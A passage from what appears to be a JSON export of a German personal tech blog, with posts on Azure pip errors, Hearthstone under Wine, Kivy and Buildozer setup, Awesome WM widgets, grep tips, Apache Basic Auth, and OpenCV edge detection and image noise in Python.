egg_info for package cffi remote: Traceback (most recent call last): remote: File \u0026#34;\u0026#34;, line 17, in remote: File \u0026#34;D:\\\\home\\\\site\\\\wwwroot\\\\env\\\\build\\\\cffi\\\\setup.py\u0026#34;, line 116, in remote: if sys.platform == \\\u0026#39;win32\\\u0026#39; and uses_msvc(): remote: File \u0026#34;D:\\\\home\\\\site\\\\wwwroot\\\\env\\\\build\\\\cffi\\\\setup.py\u0026#34;, line 94, in uses_msvc remote: return config.try_compile(\\\u0026#39;#ifndef _MSC_VER\\\\n#error \u0026#34;not MSVC\u0026#34;\\\\n#endif\\\u0026#39;) remote: File \u0026#34;D:\\\\python34\\\\lib\\\\distutils\\\\command\\\\config.py\u0026#34;, line 227, in try_compile remote: self._compile(body, headers, include_dirs, lang) remote: File \u0026#34;D:\\\\python34\\\\lib\\\\distutils\\\\command\\\\config.py\u0026#34;, line 133, in _compile remote: self.compiler.compile([src], include_dirs=include_dirs) remote: File \u0026#34;D:\\\\python34\\\\lib\\\\distutils\\\\msvc9compiler.py\u0026#34;, line 460, in compile remote: self.initialize() remote: File \u0026#34;D:\\\\python34\\\\lib\\\\distutils\\\\msvc9compiler.py\u0026#34;, line 371, in initialize remote: vc_env = query_vcvarsall(VERSION, plat_spec) remote: File \u0026#34;D:\\\\python34\\\\lib\\\\distutils\\\\msvc9compiler.py\u0026#34;, line 259, in query_vcvarsall remote: raise DistutilsPlatformError(\u0026#34;Unable to find vcvarsall.bat\u0026#34;) remote: distutils.errors.DistutilsPlatformError: Unable to find vcvarsall.bat remote: Complete output from command python setup.py egg_info: remote: Traceback (most recent call last): remote: remote: File \u0026#34;\u0026#34;, line 17, in remote: remote: File \u0026#34;D:\\\\home\\\\site\\\\wwwroot\\\\env\\\\build\\\\cffi\\\\setup.py\u0026#34;, line 116, in remote: remote: if sys.platform == \\\u0026#39;win32\\\u0026#39; and uses_msvc(): remote: remote: File \u0026#34;D:\\\\home\\\\site\\\\wwwroot\\\\env\\\\build\\\\cffi\\\\setup.py\u0026#34;, line 94, in uses_msvc remote: remote: return config.try_compile(\\\u0026#39;#ifndef _MSC_VER\\\\n#error \u0026#34;not MSVC\u0026#34;\\\\n#endif\\\u0026#39;) remote: remote: File \u0026#34;D:\\\\python34\\\\lib\\\\distutils\\\\command\\\\config.py\u0026#34;, line 227, in try_compile remote: remote: self._compile(body, headers, include_dirs, lang) remote: remote: File \u0026#34;D:\\\\python34\\\\lib\\\\distutils\\\\command\\\\config.py\u0026#34;, line 133, in _compile remote: remote: self.compiler.compile([src], include_dirs=include_dirs) remote: remote: File \u0026#34;D:\\\\python34\\\\lib\\\\distutils\\\\msvc9compiler.py\u0026#34;, line 460, in compile remote: remote: self.initialize() remote: remote: File \u0026#34;D:\\\\python34\\\\lib\\\\distutils\\\\msvc9compiler.py\u0026#34;, line 371, in initialize remote: remote: vc_env = query_vcvarsall(VERSION, plat_spec) remote: remote: File \u0026#34;D:\\\\python34\\\\lib\\\\distutils\\\\msvc9compiler.py\u0026#34;, line 259, in query_vcvarsall remote: remote: raise DistutilsPlatformError(\u0026#34;Unable to find vcvarsall.bat\u0026#34;) remote: remote: distutils.errors.DistutilsPlatformError: Unable to find vcvarsall.bat remote: remote: ---------------------------------------- remote: Cleaning up... remote: Command python setup.py egg_info failed with error code 1 in D:\\\\home\\\\site\\\\wwwroot\\\\env\\\\build\\\\cffi remote: Storing debug log for failure in D:\\\\home\\\\pip\\\\pip.log remote: An error has occurred during web site deployment. remote: remote: Error - Changes committed to remote repository but deployment to website failed. ","permalink":"https://quisl.de/b/azure-storage-pytho-modul-auf-azure-web-app-einbinden/","summary":"Es gibt bei Azure Web Apps zurzeit einen Bug beim Verwenden des azure-storage Moduls mit Python 3.4. Wenn man mit der requirements.txt über Git versucht das Modul azure-storage einzubinden erhält man den Fehler Unable to find vcvarsall.bat.\nFehlerbeschreibung Azure Web Apps verwendet Python in der Version 3.4 und pip in der Version 1.5.6. In dieser pip Version gibt es den Parameter \u0026ndash;find-links nicht, der aber zum installieren verwendet wird.\nWorkaround Beim Azure Portal anmelden Die Web App auswählen In dem Menü auf der linken Seite auf Advanced Tools klicken Auf den Link: Go klicken Oben im Menü auf Tools \u0026ndash;\u0026gt; Download deployment script und die Zip Datei deploymentscript.","title":"azure-storage Python Modul auf Azure Web App einbinden"},{"content":"Hearthstone ist ein Kartenspiel von Blizzard aus dem Warcraft Universum. Es unter Linux zum laufen zu kriegen war etwas fummelig aber nach einiger Zeit lief es dann. In diesem Beitrag möchte ich die Schritte erklären die ich gegangen bin bis es fehlerfrei lief. Wahrscheinlich könnt ihr euch manche Schritte sparen, ich werde sie dennoch aufzählen. Viel Spass!\nZunächst installieren wir PlayOnLinux über das Repository. PlayOnLinux ist eine grafische Oberfläche für Wine. Wer pures Wine verwenden möchte kann dies natürlich auch gerne tun. Ich verwende PlayOnLinux weil es hier die Möglichkeit gibt für jedes Programm eine andere Wine Version einzustellen.\nFalls noch nicht geschehen könnt ihr PlayOnLinux mit folgenden Befehl herunter laden:\nsudo apt-get install playonlinux Da Hearthstone ein paar Schriftarten von Windows benutzt installieren wir kurzerhand die Microsoft Core Fonts:\nsudo apt-get install --reinstall ttf-mscorefonts-installer Als nächstes starten wir PlayOnLinux, zum Beispiel über das Terminal (oder alternativ über euren Window Manager) mit dem Befehl:\nplayonlinux \u0026amp; Bei PlayOnLinux installiert man Programme über eine interne Suchfunktion. Ihr klickt also oben auf Install, sucht dort nach Hearthstone und wählt es aus, bestätigt mit dem Install Button unten rechts und folgt den Installationsanweisungen. Sobald der Battlenet launcher startet seht ihr bereits ob er bei euch schon funktioniert. Wenn ihr euch anmelden und das Spiel starten könnt seid ihr fertig, viel Spass beim Spielen. Wenn nicht (wie bei mir) machen wir weiter indem wir das Battle.net Fenster ersteinmal wieder schließen.\nAls nächstes wählt ihr den Hearthstone Container in PlayOnLinux aus, klickt auf configure und dann auf den Wine Tab. Hier klickt ihr auf configure wine, wählt dort den Libraries Tab aus und wählt aus dem Dropdownmenü folgende Bibliotheken aus:\napi-ms-win-crt-runtime-l1-1-0.dll api-ms-win-crt-stdio-l1-1-0.dll ucrtbase vcruntime140 Weiter geht es im Install Components Tab. Hier wählt ihr \u0026ldquo;dotnet45\u0026rdquo; aus der Liste und installiert dies indem ihr auf Install drückt.\nAls letztes müssen noch die Schriften in den Container installiert werden. Dazu klickt ihr im PlayOnLinux Menü wieder auf install und sucht dort nach \u0026ldquo;Windows Fonts\u0026rdquo;. Diese werden genau wie vorhin Hearthstone über den Install Button installiert.\nNun sollte Hearthstone funktionieren. Einfach mit dem \u0026ldquo;Play\u0026rdquo; Button auf der PlayOnLinux Oberfläche starten. Viel Spaß! ;)\n","permalink":"https://quisl.de/b/hearthstone-auf-debian-9-installieren/","summary":"Hearthstone ist ein Kartenspiel von Blizzard aus dem Warcraft Universum. Es unter Linux zum laufen zu kriegen war etwas fummelig aber nach einiger Zeit lief es dann. In diesem Beitrag möchte ich die Schritte erklären die ich gegangen bin bis es fehlerfrei lief. Wahrscheinlich könnt ihr euch manche Schritte sparen, ich werde sie dennoch aufzählen. Viel Spass!\nZunächst installieren wir PlayOnLinux über das Repository. PlayOnLinux ist eine grafische Oberfläche für Wine.","title":"Hearthstone auf Debian 9 installieren"},{"content":"Kivy ist ein Python Framework zum entwickeln von Apps für etablierte Multitouchgeräte. Unterstützte Betriebssysteme sind Android, iOS, Linux, Mac OS X und Windows. Mit Kivy kann mit dem selben Python Code für all diese Plattformen entwickelt werden ohne, dass es einer speziellen Anpassung bedarf.\nKivy installieren Um Kivy unter Debian über den Paketmanager installieren zu können muss zunächst die Quellenliste von apt angepasst werden. Dazu öffnet man als root-user mit einem Texteditor seiner Wahl die Datei /etc/apt/sources.list und trägt dort am Ende die passende Zeile ein. Datei editieren:\nnano /etc/apt/sources.list Zeile für Debian Testing:\ndeb http://ppa.launchpad.net/kivy-team/kivy-daily/ubuntu trusty main Zeile für Debian Unstable:\ndeb http://ppa.launchpad.net/kivy-team/kivy-daily/ubuntu utopic main Für den Stable Branch von Debian ist Kivy zur Zeit nicht erhältlich. Als nächstes muss (wieder als root-user) der Key für das neue Repository eingetragen werden. Das geschieht mit folgenden Befehl:\napt-key adv --keyserver keyserver.ubuntu.com --recv-keys A863D2D6 Jetzt kann Kivy nach einem apt Update über den Paketmanager heruntergeladen und installiert werden.\napt-get update Für Python 2.x:\napt-get install python-kivy Für Python 3.x:\napt-get install python3-kivy Sollte irgendetwas nicht geklappt haben oder solltet ihr eine andere Distribution benutzen dann schaut am besten mal bei der offiziellen Kivy Dokumentation vorbei:\nhttps://kivy.org/docs/installation/installation-linux.html\nBuildozer installieren Um die erstellten Apps jetzt noch in App-Pakete verpacken zu können wird die Software Buildozer benötigt. Diese kann über pip installiert werden:\npip install buildozer Für meine Zwecke war es noch nötig ein paar weitere Pakete zu installieren damit Buildozer funktionieren kann:\napt-get install zlib1g-dev cython openjdk-8-jdk aidl Sowie die 32bit Version von zlib1g:\ndpkg --add-architecture i386 apt-get update apt-get install zlib1g:i386 ","permalink":"https://quisl.de/b/kivy-unter-debian-installieren/","summary":"Kivy ist ein Python Framework zum entwickeln von Apps für etablierte Multitouchgeräte. Unterstützte Betriebssysteme sind Android, iOS, Linux, Mac OS X und Windows. Mit Kivy kann mit dem selben Python Code für all diese Plattformen entwickelt werden ohne, dass es einer speziellen Anpassung bedarf.\nKivy installieren Um Kivy unter Debian über den Paketmanager installieren zu können muss zunächst die Quellenliste von apt angepasst werden. Dazu öffnet man als root-user mit einem Texteditor seiner Wahl die Datei /etc/apt/sources.","title":"Kivy und Buildozer unter Debian installieren"},{"content":"Der Awesome Windowmanager ist einer der besten die ich je benutzt habe. Allerdings fehlen der default Version einige Features. Aus diesem Grund habe ich mich dazu entschlossen mein eigenes Theme des Window Managers auf meine Githubseite hoch zu laden so, dass sie sich jeder herunterladen und anpassen kann.\nAls Basis meiner Konfiguration verwende ich ein Thinkpad T410 mit Debian 9. Wer also andere Hardware benutzt muss eventuell die Hotkeys in der rc.lua anpassen.\nZurzeit (Stand 08.03.2016) beinhaltet es folgende, über die default Version hinausgehende, features:\nBatterieanzeige RAM \u0026amp; CPU Anzeige Helligkeitsanzeige Wetteranzeige Lautstärkenanzeige Hotkeys für Helligkeit Hotkeys für Lautstärke \u0026amp; Mute Network Manager Applet starten Reduzierung der window Layouts auf ein Vertikales und ein Horizontales Entfernung der Layoutanzeige xrandr script für VGA Monitoranschluss Hotkey für Screenshots Die Hotkeys können mit [Windowstaste] + [s] angezeigt werden. Da ich das floating Layout entfernt habe können einzelne Fenster nur noch mit [Windowstaste] + [STRG] + [SPACE] zum floaten gebracht werden.\nZum Installieren müssen zunächst die benötigten Pakete heruntergeladen werden. Unter Debian funktioniert das als root-user mit apt-get:\napt-get install xbacklight apt-get install lua-socket apt-get install gnome-themes-standard Als nächstes wird meine Konfiguration aus dem Github Repository in das Konfigurationsverzeichnis kopiert:\ngit clone https://github.com/Quisl/Awesome4.0Config.git ~/.config/awesome\rcd ~/.config/awesome/ Um die Konfiguration an euer Setup anzupassen müsst ihr die ersten Zeilen in der Datei \u0026ldquo;~/.config/awesome/rc.lua\u0026rdquo; konfigurieren. Einen openweathermap key erhaltet ihr hier. Wenn ihr das Wetter Widget nicht benutzen wollt dann könnt ihr die betreffenden Zeilen leer lassen.\nMit [Windowstaste] + [STRG] + [r] neu laden.\nAktuelle Informationen sind auf meinem Github Repository zu finden.\nScreenshot von meinem System\n","permalink":"https://quisl.de/b/mein-awesome-4-0-theme/","summary":"Der Awesome Windowmanager ist einer der besten die ich je benutzt habe. Allerdings fehlen der default Version einige Features. Aus diesem Grund habe ich mich dazu entschlossen mein eigenes Theme des Window Managers auf meine Githubseite hoch zu laden so, dass sie sich jeder herunterladen und anpassen kann.\nAls Basis meiner Konfiguration verwende ich ein Thinkpad T410 mit Debian 9. Wer also andere Hardware benutzt muss eventuell die Hotkeys in der rc.","title":"Mein Awesome 4.0 Theme"},{"content":"Grep ist ein Linux Kommandozeilen Tool zum Filtern von Datei oder Bildschirmausgaben in der Konsole. In diesem Blogbeitrag sollen ein paar nützliche Anwendungen aufgelistet werden:\nSTRING in Datei (DATEIPFAD) finden:\ngrep STRING DATEIPFAD STRING in drei Dateien finden:\ngrep STRING DATEIPFAD1 DATEIPFAD2 DATEIPFAD3 STRING in mehreren Dateien finden:\ngrep STRING DATEIPFADMUSTER Groß/Kleinschreibung ignorieren:\ngrep -i STRING DATEIPFAD Rekursiv auch in Unterordnern suchen:\ngrep -r STRING * Reguläre Ausdrücke in grep (folgendes Beispiel liefert alle IP Addressen aus der Datei):\ngrep -E \\\u0026#39;[0-9]{1,3}\\\\.[0-9]{1,3}\\\\.[0-9]{1,3}\\\\.[0-9]{1,3}\\\u0026#39; DATEIPFAD Nach ganzen Wörtern suchen (keine SubStrings):\ngrep -w STRING DATEIPFAD 3 Zeilen nach dem Fund mitliefern:\ngrep -A 3 STRING DATEIPFAD 3 Zeilen vor dem Fund mitliefern:\ngrep -B 3 STRING DATEIPFAD 3 Zeilen um den Fund mitliefern:\ngrep -C 3 STRING DATEIPFAD Invertierte Ergebnisse:\ngrep -v STRING DATEIPFAD Funde zählen:\ngrep -c STRING DATEIPFAD Nur Funde anzeigen (nicht die ganze Zeile):\ngrep -o STRING DATEIPFAD Zeilenzahl anzeigen:\ngrep -n STRING DATEIPFAD ","permalink":"https://quisl.de/b/grep-tricks-tipps/","summary":"Grep ist ein Linux Kommandozeilen Tool zum Filtern von Datei oder Bildschirmausgaben in der Konsole. In diesem Blogbeitrag sollen ein paar nützliche Anwendungen aufgelistet werden:\nSTRING in Datei (DATEIPFAD) finden:\ngrep STRING DATEIPFAD STRING in drei Dateien finden:\ngrep STRING DATEIPFAD1 DATEIPFAD2 DATEIPFAD3 STRING in mehreren Dateien finden:\ngrep STRING DATEIPFADMUSTER Groß/Kleinschreibung ignorieren:\ngrep -i STRING DATEIPFAD Rekursiv auch in Unterordnern suchen:\ngrep -r STRING * Reguläre Ausdrücke in grep (folgendes Beispiel liefert alle IP Addressen aus der Datei):","title":"Grep Tricks \u0026 Tipps"},{"content":"Manchmal möchte man einzelne Seiten eines Webservers mit einem Passwort schützen um ungebetene Gäste fernzuhalten. Folgend soll eine Möglichkeit zur schnellen implementation beschrieben werden.\nUm mit Apache die Seite\nhttps://HOSTNAME/unterordner mit einem Passwort zu sichern, muss zuerst die Apache Konfiguration angepasst werden. Bei CentOS modifiziert man dazu die Datei \u0026ldquo;/etc/httpd/conf/httpd.conf\u0026rdquo; und fügt hier folgenden Inhalt ein:\nScriptAlias /unterordner /PFADZUMSCRIPT/script.cgi AuthType Basic AuthName \u0026#34;Unterordner Login\u0026#34; AuthUserFile /PFADZUMSCRIPT/passwd Require valid-user Dabei wird PFADZUMSCRIPT mit dem Pfad ersetz unter dem das zu schützende Script liegen soll (hier script.cgi). Abschließend wird die httpd.conf gespeichert. Jetzt muss nur noch die AuthUserFile erstellt werden und nach \u0026ldquo;/PFADZUMSCRIPT/passwd\u0026rdquo; kopiert werden. Das geschieht mit dem Programm htpasswd mit folgenden Befehl:\nhtpasswd -bc /PFADZUMSCRIPT/passwd USER PASSWORT Wobei USER und PASSWORT mit den gewüschten Credentials ersetzt wird. Jetzt startet man den Apache neu, auf CentOS funktioniert das mit dem Befehl:\nservice httpd restart ","permalink":"https://quisl.de/b/einzelne-apache-seiten-mit-passwort-schuetzen/","summary":"Manchmal möchte man einzelne Seiten eines Webservers mit einem Passwort schützen um ungebetene Gäste fernzuhalten. Folgend soll eine Möglichkeit zur schnellen implementation beschrieben werden.\nUm mit Apache die Seite\nhttps://HOSTNAME/unterordner mit einem Passwort zu sichern, muss zuerst die Apache Konfiguration angepasst werden. Bei CentOS modifiziert man dazu die Datei \u0026ldquo;/etc/httpd/conf/httpd.conf\u0026rdquo; und fügt hier folgenden Inhalt ein:\nScriptAlias /unterordner /PFADZUMSCRIPT/script.cgi AuthType Basic AuthName \u0026#34;Unterordner Login\u0026#34; AuthUserFile /PFADZUMSCRIPT/passwd Require valid-user Dabei wird PFADZUMSCRIPT mit dem Pfad ersetz unter dem das zu schützende Script liegen soll (hier script.","title":"Einzelne Apache Seiten Mit Passwort Schuetzen"},{"content":"Heute möchte ich eine kleine Anleitung geben wie man unter Awesome 4.0 eigene Widgets erstellen und einbinden kann. Beispielhaft erstellen wir ein kleines Widget, welches die Helligkeit des Bildschirms anzeigt. Als Hardware verwende ich ein Thinkpad T410. Es könnte also es sein, dass ihr die Hotkeys anpassen müsst.\nUnter Awesome 4.0 kann die komplette Oberfläche mithilfe der Konfigurationsdatei angepasst werden. Diese Konfigurationsdatei heißt \u0026ldquo;rc.lua\u0026rdquo; und befindet sich meistens unter \u0026ldquo;~/.config/awesome\u0026rdquo;. Heutiges Ziel ist es, dass ein Helligkeitsicon und eine Prozentzahl der aktuellen Bildschirmhelligkeit angezeigt wird. Dabei setze ich voraus, dass noch die ursprüngliche, unveränderte rc.lua installiert ist die bei der Installation von Awesome mitgeliefert wird.\nZuerst erstellen wir im selben Verzeichnis in dem sich auch unsere rc.lua befindet eine weitere Datei. Diese nennen wir \u0026ldquo;brightness.lua\u0026rdquo;. Mit einem Texteditor unserer Wahl bearbeiten wir nun diese neu erstellte Datei und binden zunächst die benötigten Frameworks ein:\nlocal wibox = require(\u0026#34;wibox\u0026#34;) local watch = require(\u0026#34;awful.widget.watch\u0026#34;) Als nächstes erstellen wir ein Widget für das Icon. Als Icon nutze ich eines aus dem Adwaita Paket. Dies ist ein default Theme für GTK+ und kann unter Debian mit dem Befehl\nsudo apt-get install adwaita-icon-theme installiert werden. Folgend eine beispielhafte Implementation für mein Iconwidget. Wenn ihr ein anderes Icon verwenden möchtet müsst ihr den Pfad zur .svg Datei anpassen. Mit der layout Variable stelle ich den Abstand zum nächsten Widget etwas höher:\nlocal brightness_icon = wibox.widget { { image = \u0026#34;/usr/share/icons/Adwaita/scalable/status/display-brightness-symbolic.svg\u0026#34;, resize = false, widget = wibox.widget.imagebox, }, layout = wibox.container.margin(brightness_icon, 5, 0, 2), } Als nächstes brauchen wir noch ein Widget für den Text. Als Schriftart verwende ich \u0026ldquo;Play 9\u0026rdquo;:\nlocal brightness_text_widget = wibox.widget { font = \u0026#34;Play 9\u0026#34;, widget = wibox.widget.textbox, } Und brauchen wir noch ein Widget, welches die beiden vorangegangenen Widgets vereint und nebeneinander anordnet:\nbrightness_widget = wibox.widget { brightness_icon, brightness_text_widget, layout = wibox.layout.fixed.horizontal, } Als nächstes füllen wir das Widget mit Leben. Dies geschieht mit der watch Funktion. Diese führt in regelmäßigen Abständen ein Kommando aus und kann die Ausgabe dieses Kommandos verarbeiten. Um an die aktuelle Helligkeit zu kommen verwenden wir das Programm \u0026ldquo;xbacklight\u0026rdquo; und schreiben die Ausgabe direkt in unser brightness_text_widget:\nwatch( \u0026#34;xbacklight -get\u0026#34;, 1, function(widget, stdout, stderr, exitreason, exitcode) local brightness_level = tonumber(string.format(\u0026#34;%.0f\u0026#34;, stdout)) brightness_text_widget:set_text(brightness_level) end ) Nun sind wir Fertig mit dem Widget und können es abspeichern. Als nächstes müssen wir die rc.lua konfigurieren um es einzubinden. Dazu reicht es folgende Zeile an den Anfang der rc.lua zu setzen:\nrequire(\u0026#34;brightness\u0026#34;) Als nächstes Scrollen wir runter zu den Zeilen:\n{ -- Right widgets layout = wibox.layout.fixed.horizontal, mykeyboardlayout, wibox.widget.systray(), und schreiben irgendwo hinter der \u0026ldquo;wibox.widget.systray(),\u0026rdquo; und vor der \u0026ldquo;mytextclock,\u0026rdquo; Zeile:\nbrightness_widget, Nun sollte das Widget fertig konfiguriert sein. Um die Helligkeit verändern zu können müssen wir allerdings noch die Hotkeys definieren. Dazu scrollen wir noch weiter runter zur Zeile \u0026ldquo;globalkeys = awful.util.table.join(\u0026rdquo; und fügen dahinter folgende Zeilen hinzu:\n-- Brightness awful.key({ }, \u0026#34;XF86MonBrightnessDown\u0026#34;, function () awful.util.spawn(\u0026#34;xbacklight -dec 5\u0026#34;) end, {description = \u0026#34;decrease brightness\u0026#34;, group = \u0026#34;custom\u0026#34;}), awful.key({ }, \u0026#34;XF86MonBrightnessUp\u0026#34;, function () awful.util.spawn(\u0026#34;xbacklight -inc 5\u0026#34;) end, {description = \u0026#34;increase brightness\u0026#34;, group = \u0026#34;custom\u0026#34;}), XF86MonBrightnessDown bzw. XF86MonBrightnessUp sind beim Thinkpad T410 die Hotkeys für [Fn]+[Ende] bzw. [Fn] + [Pos1] zum Einstellen der Helligkeit. Es kann allerdings auch jeder andere Hotkey verwendet werden.\nIst alles erledigt speichern wir auch diese Datei und sagen Awesome, dass es die Konfigurationsdatei neu laden soll. Dies geschieht mit [Windowstaste] + [STRG] + [r]. Jetzt müsste neben der Uhr oben rechts ein Icon sowie eine Zahl daneben aufgetaucht sein. Die Zahl gibt die Bildschirmhelligkeit in Prozent an. Auch die Hotkeys sollten jetzt in der Hotkeyübersicht angezeigt werden und Funktionieren. Zum Anzeigen der Hotkeyübersicht einfach [Windowstaste] + [s] drücken.\n","permalink":"https://quisl.de/b/awesome-window-manager-4-0-widgets-erstellen/","summary":"Heute möchte ich eine kleine Anleitung geben wie man unter Awesome 4.0 eigene Widgets erstellen und einbinden kann. Beispielhaft erstellen wir ein kleines Widget, welches die Helligkeit des Bildschirms anzeigt. Als Hardware verwende ich ein Thinkpad T410. Es könnte also es sein, dass ihr die Hotkeys anpassen müsst.\nUnter Awesome 4.0 kann die komplette Oberfläche mithilfe der Konfigurationsdatei angepasst werden. Diese Konfigurationsdatei heißt \u0026ldquo;rc.lua\u0026rdquo; und befindet sich meistens unter \u0026ldquo;~/.config/awesome\u0026rdquo;. Heutiges Ziel ist es, dass ein Helligkeitsicon und eine Prozentzahl der aktuellen Bildschirmhelligkeit angezeigt wird.","title":"Awesome WM 4.0 Widgets erstellen"},{"content":"Möchte man eine Schleife Beispielsweise alle 20 Millisekunden ausführen so hat man das Problem, dass man nicht genau weiß wie lang die Ausführungszeit der Schleife ist und wie lang danach gewartet werden muss. Hierzu kann ein Timer verwendet werden. Das kann folgendermaßen aussehen:\nimport datetime import time schleifendauer = 0.02 #Zeit in Sekunden while (True): a = datetime.datetime.now() #irgendeincode b = datetime.datetime.now() c = b-a waittime = schleifendauer - c.total_seconds() if (waittime \u0026gt; 0): time.sleep(waittime) else: waittime=0 print (\u0026#34;Zeit gearbeitet: \u0026#34;+str(c.total_seconds())+\u0026#34; Zeit gewartet: \u0026#34;+str(waittime)+\u0026#34; Gesamtzeit: \u0026#34;+str(c.total_seconds()+waittime)) Mit a wird der Zeitpunkt am Anfang und mit b der Zeitpunkt am Ende der Aufgabe definiert. Durch Bildung der Differenz wird die Zeit zwischen den beiden Zeitpunkten ermittelt und von der gewünschten Schleifendauer abgezogen. Die restliche Zeit wird nun gewartet. Sollte die Aufgabe länger gedauert haben als die gewünschte Schleifendauer so wird gar nicht gewartet.\n","permalink":"https://quisl.de/b/schleifendauer-festlegen-in-python/","summary":"Möchte man eine Schleife Beispielsweise alle 20 Millisekunden ausführen so hat man das Problem, dass man nicht genau weiß wie lang die Ausführungszeit der Schleife ist und wie lang danach gewartet werden muss. Hierzu kann ein Timer verwendet werden. Das kann folgendermaßen aussehen:\nimport datetime import time schleifendauer = 0.02 #Zeit in Sekunden while (True): a = datetime.datetime.now() #irgendeincode b = datetime.datetime.now() c = b-a waittime = schleifendauer - c.total_seconds() if (waittime \u0026gt; 0): time.","title":"Schleifendauer festlegen in Python"},{"content":"Der Canny Algorithmus ist ein bekannter Algorithmus zur Darstellung von Kantenbildern. Er besteht aus einer Bildglättung, einer Kantendetektion mit Berechnung von Betrag und Richtung der Kanten, einer Kantenverdünnung durch Nicht-Maximum-Unterdrückung sowie einer Schwellwertoperation die die Unwichtigen Kanten herausfiltert.\nDie Bildglättung geschieht mittels eines Gaußalgorithmus. Ziel ist es das Bild in seiner Gesamtheit etwas zu entschärfen ohne die Kanten zu verzerren.\nZur Kantendetektion wird der Sobeloperator verwendet. Aus den hierbei berechneten Bildern wird nun zum einen mittels Arctan2 Funktion die Richtung der Kanten ermittelt, zum anderen wird die Kantenstärke über den euklidischen Betrag der beiden Bilder gebildet.\nDie Kantenverdünnung geschieht durch die \u0026ldquo;Nicht-Maximum-Unterdrückung\u0026rdquo;. Bei diesem Verfahren wird bei jedem Punkt in Kantenrichtung geschaut ob es sich um das lokale Maximum der Kante handelt, wenn nicht wird der jeweilige Pixel auf 0 gesetzt. Das Ergebnis dieser Operation ist ein Kantenbild bei dem jede Kante genau 1 Pixel breit ist.\nAls letztes wird noch eine Schwellwertoperation ausgeführt. Hierbei wird geschaut ob es sich um den gefundenen Kanten um hinreichend starke Kanten handelt. Kanten mit Kantenstärken über einen Schwellwert werden sofort zugelassen, Kanten mit Kantenstärken unter einen anderen Schwellwert werden automatisch verworfen und bei allen dazwischen wird geschaut ob mindestens ein Nachbar zugelassen wird, wenn ja dann wird diese Kante auch zugelassen.\nLinks das Originalbild, rechts ein Kantenbild nach dem Canny Algorithmus\nIn Python könnte man das ganze so realisieren:\nimport cv2 img = cv2.imread(\u0026#39;Bild.jpg\u0026#39;,cv2.IMREAD_GRAYSCALE) edge = cv2.Canny(img,50,200) cv2.imshow(\u0026#39;Bild\u0026#39;,edge) cv2.waitKey(0) cv2.destroyAllWindows() Die Parameter der cv2.Canny() Funktion ist die Bildmatrix und die Schwellwerte für die Schwellwertoperation. Je niedriger die Zahlen desto mehr Kanten werden gefunden. Der zweite Schwellwert sollte etwa doppelt bis viermal so groß wie der erste sein.\n","permalink":"https://quisl.de/b/canny-algorithmus/","summary":"Der Canny Algorithmus ist ein bekannter Algorithmus zur Darstellung von Kantenbildern. Er besteht aus einer Bildglättung, einer Kantendetektion mit Berechnung von Betrag und Richtung der Kanten, einer Kantenverdünnung durch Nicht-Maximum-Unterdrückung sowie einer Schwellwertoperation die die Unwichtigen Kanten herausfiltert.\nDie Bildglättung geschieht mittels eines Gaußalgorithmus. Ziel ist es das Bild in seiner Gesamtheit etwas zu entschärfen ohne die Kanten zu verzerren.\nZur Kantendetektion wird der Sobeloperator verwendet. Aus den hierbei berechneten Bildern wird nun zum einen mittels Arctan2 Funktion die Richtung der Kanten ermittelt, zum anderen wird die Kantenstärke über den euklidischen Betrag der beiden Bilder gebildet.","title":"Canny Algorithmus"},{"content":"Ein wichtiges Thema in der Bildverarbeitung ist die Kantenerkennung. Zum hervorheben von Kanten wird oft der Sobeloperator genutzt. Dies ist ein Faltungskern mit der Eigenschaft Änderungen in der Helligkeit des Bildes zu verdeutlichen. Vergleichbar wie beim Ableiten mathematischer Funktionen. Die Faltungskerne des Sobeloperators sehen folgendermaßen aus:\nSobel X\nSobel Y\nDer Sobeloperator in X Richtung lässt Vertikale Kanten sichtbar werden während der Sobeloperator in Y Richtung Horizontale Kanten aufzeigt. Im Ausgabebild der beiden Operatoren erscheinen nun sowohl positive als auch negative Pixel. Beim Aufzeigen dieser Ausgabebilder macht es bei int8 Bildern Sinn, den Null Wert als Grau, -128 als Schwarz und +127 als Weiß darzustellen.\nLinks Originalbild, mitte Sobel in X Richtung, rechts Sobel in Y Richtung\nUm das ganze in Python und Opencv zu programmieren kann die cv2.Sobel() Funktion genutzt werden. Ein Programm das dies tut könnte folgendermaßen aussehen:\nimport cv2 img = cv2.imread(\u0026#39;Bild.jpg\u0026#39;,cv2.IMREAD_GRAYSCALE) sobelx = cv2.Sobel(img,cv2.CV_8U,1,0,ksize=3)+127 sobely = cv2.Sobel(img,cv2.CV_8U,0,1,ksize=3)+127 cv2.imshow(\u0026#39;Original\u0026#39;,img) cv2.imshow(\u0026#39;Sobel X\u0026#39;,sobelx) cv2.imshow(\u0026#39;Sobel Y\u0026#39;,sobely) cv2.waitKey(0) cv2.destroyAllWindows() cv2.Sobel gibt eine Bilddatei mit der in den Parametern angegebenen Bitgröße - in diesem Fall 8bit - zurück. Die +127 am Ende der Zeile sorgen dafür, dass wir am Ende keine Werte von -128 bis 127 sondern von 0 bis 255 haben was die Darstellung vereinfacht. Mit dem ksize parameter kann die Größe des Faltungskerns eingestellt werden.\n","permalink":"https://quisl.de/b/kantendetektion-mit-sobeloperator-mit-opencvpython/","summary":"Ein wichtiges Thema in der Bildverarbeitung ist die Kantenerkennung. Zum hervorheben von Kanten wird oft der Sobeloperator genutzt. Dies ist ein Faltungskern mit der Eigenschaft Änderungen in der Helligkeit des Bildes zu verdeutlichen. Vergleichbar wie beim Ableiten mathematischer Funktionen. Die Faltungskerne des Sobeloperators sehen folgendermaßen aus:\nSobel X\nSobel Y\nDer Sobeloperator in X Richtung lässt Vertikale Kanten sichtbar werden während der Sobeloperator in Y Richtung Horizontale Kanten aufzeigt. Im Ausgabebild der beiden Operatoren erscheinen nun sowohl positive als auch negative Pixel.","title":"Kantendetektion Mit Sobeloperator Mit Opencvpython"},{"content":"Für den Blogbeitrag über die verschiedenen Weichzeichnungmethoden habe ich Bilder mit verschiedenen Rauschsorten verwendet. Dieses Rauschen ist auf dem Originalfoto vom Eiffelturm nicht vorhanden sondern wurde nachträglich eingefügt. Auch wenn das für die digitale Bildverarbeitung eher uninteressant ist möchte ich in diesem Beitrag zeigen wie man so etwas umsetzt.\nSalz und Pfeffer Rauschen Als Salz \u0026amp; Pfeffer Rauschen bezeichnet man einzelne schwarze oder weiße zufällig verteilte Punkte auf einem Bild.\nimport numpy import cv2 def saltPepper(bild,verteilung=0.5,menge = 0.04): ausgabe = bild salzmenge = numpy.ceil(menge * bild.size * verteilung) koordinaten = [numpy.random.randint(0, i-1, int(salzmenge)) for i in bild.shape] ausgabe[koordinaten] = 255 pfeffermenge = numpy.ceil(menge * 